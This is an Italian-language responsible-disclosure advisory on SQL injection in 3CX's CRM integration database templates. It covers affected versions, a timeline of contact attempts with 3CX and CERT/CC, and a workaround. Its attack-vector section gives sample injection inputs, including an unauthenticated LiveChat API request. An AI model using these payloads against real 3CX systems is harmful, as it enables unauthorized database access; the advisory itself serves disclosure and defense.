SQL Injection nell'Integrazione CRM di 3CX
Per l'integrazione CRM, 3CX fornisce dei template per connettersi a vari database.
In questi template, i placeholder ([FirstName],[SearchText],[Email]) vengono utilizzati per popolare le query.
L'input dell'utente non viene sanificato e quindi abilita iniezioni SQL.
Versioni Affette
- < 18.0.9.23
- < 20.0.0.1494
Soluzioni CRM Affette
- Database MsSQL
- Database MySQL
- Database PostgreSQL
Documentazione Correlata
https://www.3cx.com/docs/sql-database-pbx-integration/
Cronologia
- 2023-10-11 - Scoperta del problema di sicurezza per pura coincidenza
- 2023-10-11 - Email al Data Protection Officer di 3CX richiedendo un contatto per Responsible Disclosure
- 2023-10-11 - Risposta dal supporto clienti 3CX che chiede i miei dati di licenza
- 2023-10-11 - Risposta a 3CX che non fornisco informazioni sulla licenza poiché non pertinenti
- 2023-10-12 - Apertura di un caso con CERT/CC per ottenere assistenza nel contattare 3CX
- 2023-10-13 - CERT/CC ha accettato il mio caso e ha tentato di contattare 3CX
- 2023-10-17 - Un altro tentativo di contatto da parte mia al supporto clienti 3CX
- 2023-10-26 - Richiesta a CERT/CC se avessero ricevuto una risposta da 3CX
- 2023-10-26 - CERT/CC non ha ricevuto risposta, riprova
- 2023-11-02 - Email al CEO di 3CX Nick Galea (con un indirizzo email trovato online) -> nessuna risposta
- 2023-11-27 - CERT/CC mi ha informato che la scadenza fissata era scaduta e non c'è stata risposta da 3CX
- 2023-11-28 - Richiesta di CVE inviata a MITRE
- 2023-12-03 - CVE assegnata
- 2023-12-14 - Pubblicazione
- 2023-12-15 - Test se 18.0 Update 9 è affetto
- 2023-12-15 - Informato 3CX della pubblicazione
- 2023-12-15 - Risposta dal Direttore Operativo di 3CX
- 2023-12-15 - 3CX ha pubblicato un blog post
- 2023-12-17 - 3CX ha pubblicato un blog post dettagliato
Fix
3CX fornirà presto un hotfix (18.0.9.23, 20.0.0.1494) che risolve il problema; fino ad allora l'unica opzione è disattivare l'integrazione CRM impostando la soluzione CRM su None (vedi blog post per istruzioni illustrate).
Vettori di Attacco
Le query di integrazione CRM vengono eseguite in vari punti, ad esempio durante la creazione o la ricerca di contatti nel WebClient e persino nell'API pubblica LiveChat.
Di seguito due esempi.
WebClient (autenticato)
- Dichiarazione Cerca contatti (SQL Statement):
SELECT * FROM tbl WHERE name LIKE '%[SearchText]%'
- Esegui ricerca contatto:
'OR 1=1 --
- Query SQL eseguita:
SELECT * FROM tbl WHERE name LIKE '%'OR 1=1 --%'
LiveChat API (non autenticato)
- Dichiarazione Ricerca per email:
SELECT * FROM tbl WHERE email = '[Email]'
- Richiesta GET:
https://3cx-hostname/MyPhone/c2clogin?login=true&c2cid=LiveChatXXXX&email=x%27--%40example.com&displayname=x
- Query SQL eseguita:
SELECT * FROM tbl WHERE email = 'x'[email protected]'